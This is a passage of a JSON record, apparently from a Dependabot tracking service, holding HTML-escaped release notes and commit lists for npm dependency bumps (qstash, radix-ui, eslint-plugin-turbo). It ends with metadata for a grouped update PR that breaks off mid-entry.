branch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/570e6f73a173e366cac849badeb49fd88a156339\"\u003e\u003ccode\u003e570e6f7\u003c/code\u003e\u003c/a\u003e fix: read from path which starts with '/' in ScriptBufferWrapper.kt (\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets/issues/9503\"\u003e#9503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commits/worklets-0.10.2/packages/react-native-worklets\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@upstash/qstash` from 2.11.1 to 2.11.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/upstash/qstash-js/releases\"\u003e@​upstash/qstash's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.11.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDX-2769: reject empty id in single-resource endpoints by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/268\"\u003eupstash/qstash-js#268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: multi-value filters for bulk message cancel + multi-label schedules by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/271\"\u003eupstash/qstash-js#271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: don't retry when retry is disabled by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/273\"\u003eupstash/qstash-js#273\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\"\u003ehttps://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/3ad58d386dcc0b86e2520de21b8c795df8c7ff69\"\u003e\u003ccode\u003e3ad58d3\u003c/code\u003e\u003c/a\u003e fix: don't retry when retry is disabled (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/273\"\u003e#273\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/36bfde584081629cde038561c2cd804d780a435a\"\u003e\u003ccode\u003e36bfde5\u003c/code\u003e\u003c/a\u003e feat: multi-value filters for bulk message cancel + multi-label schedules (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/271\"\u003e#271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/34911dcfa7ca820fcb056238a4972c6ed26c21c2\"\u003e\u003ccode\u003e34911dc\u003c/code\u003e\u003c/a\u003e DX-2769: reject empty id in single-resource endpoints (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/268\"\u003e#268\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `radix-ui` from 1.6.1 to 1.6.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radix-ui/CHANGELOG.md\"\u003eradix-ui's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.6.2\u003c/h2\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded CSS custom properties for Navigation Menu item indicators' translate values.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Dismissable Layer causing background nested popovers to close all layers on outside click\u003c/li\u003e\n\u003cli\u003eFixed runtime errors for \u003ccode\u003eForm.Message\u003c/code\u003e, \u003ccode\u003eForm.Control\u003c/code\u003e, \u003ccode\u003eForm.Label\u003c/code\u003e and \u003ccode\u003eForm.ValidityState\u003c/code\u003e that are correctly rendered outside of \u003ccode\u003eForm.Field\u003c/code\u003e components\u003c/li\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eFixed a bug where calling an event handler without an argument would throw, preventing successive event handlers from being called. This affected all components that accept event handlers with internal implementations.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Context Menu to ensure that the menu properly re-anchors to the latest pointer position when re-triggered in its open state.\u003c/li\u003e\n\u003cli\u003eFixed stale \u003ccode\u003eonEscapeKeyDown\u003c/code\u003e/\u003ccode\u003eonDismiss\u003c/code\u003e handlers on React 19.2.\u003c/li\u003e\n\u003cli\u003eFixed items in a Roving Focus Group not being auto-focused on mount within a Focus Scope component.\u003c/li\u003e\n\u003cli\u003eFixed a regression in Dismissable Layer originating from a \u003ca href=\"https://redirect.github.com/react/react/pull/34831\"\u003ebug in React's \u003ccode\u003euseEffectEvent\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e--radix-scroll-area-corner-width\u003c/code\u003e and \u003ccode\u003e--radix-scroll-area-corner-height\u003c/code\u003e not resetting to \u003ccode\u003e0\u003c/code\u003e when a corner is removed. Previously these values would stick around and leave a permanent gap on the remaining scrollbar.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Slider where stepping with the keyboard would skip a valid value when the current value is off the step grid. Stepping now snaps to the next step-aligned value in the direction of travel, matching native \u003ccode\u003e\u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt;\u003c/code\u003e behavior.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radix-ui\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-turbo` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eeslint-plugin-turbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f69971958b56e6a932c3d08a0347f4589c8734df\"\u003e\u003ccode\u003ef699719\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.5 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13331\"\u003e#13331\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6626261bcbb770b56e32a0a808097442504ca5af\"\u003e\u003ccode\u003e6626261\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13325\"\u003e#13325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e44a290fc7a1ac7f987ba27101f3320df396599\"\u003e\u003ccode\u003e7e44a29\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.3 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13302\"\u003e#13302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6e6fb628b065a81583de05044eb50fb71380087\"\u003e\u003ccode\u003ee6e6fb6\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13297\"\u003e#13297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6cd4986d79c1fe9d8cb0483a804f95f3a3de026\"\u003e\u003ccode\u003ee6cd498\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13294\"\u003e#13294\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f2fce38386587104688f8805fd8f585fc4e0bd1f\"\u003e\u003ccode\u003ef2fce38\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13286\"\u003e#13286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e02f94f647cb4d527a438313dc4adbe3e8c0df3\"\u003e\u003ccode\u003e7e02f94\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13278\"\u003e#13278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a31389ed39e539d97be58a9ca38d9f35be2e3d04\"\u003e\u003ccode\u003ea31389e\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13247\"\u003e#13247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ver...\n\n_Description has been truncated_","html_url":"https://github.com/imperialcoal/dw-portfolio-platform/pull/289","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/imperialcoal%2Fdw-portfolio-platform/issues/289","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/289/packages"}},{"old_version":"8.5.9","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-14T15:37:44.000Z","version_change":"8.5.9 → 8.5.19","issue":{"uuid":"4884659550","node_id":"PR_kwDOShy2OM7xn96T","number":11,"state":"open","title":"chore(deps): bump the npm-minor-patch group across 1 directory with 58 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T15:37:44.000Z","updated_at":"2026-07-14T15:37:45.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-minor-patch","update_count":58,"packages":[{"name":"eslint-plugin-react-hooks","old_version":"7.0.1","new_version":"7.1.1","repository_url":"https://github.com/facebook/react"},{"name":"globals","old_version":"17.5.0","new_version":"17.7.0","repository_url":"https://github.com/sindresorhus/globals"},{"name":"prettier","old_version":"3.8.2","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.58.1","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"wait-on","old_version":"9.0.5","new_version":"9.0.10","repository_url":"https://github.com/jeffbski/wait-on"},{"name":"@opencode-ai/sdk","old_version":"1.14.18","new_version":"1.17.20","repository_url":"https://github.com/sst/opencode-sdk-js"},{"name":"better-sqlite3","old_version":"12.8.0","new_version":"12.11.1","repository_url":"https://github.com/WiseLibs/better-sqlite3"},{"name":"tsx","old_version":"4.21.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"vitest","old_version":"4.1.4","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@aws-sdk/client-bedrock","old_version":"3.1029.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-providers","old_version":"3.1029.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@huggingface/transformers","old_version":"4.0.1","new_version":"4.2.0","repository_url":"https://github.com/huggingface/transformers.js"},{"name":"@sentry/electron","old_version":"7.11.0","new_version":"7.15.0","reposi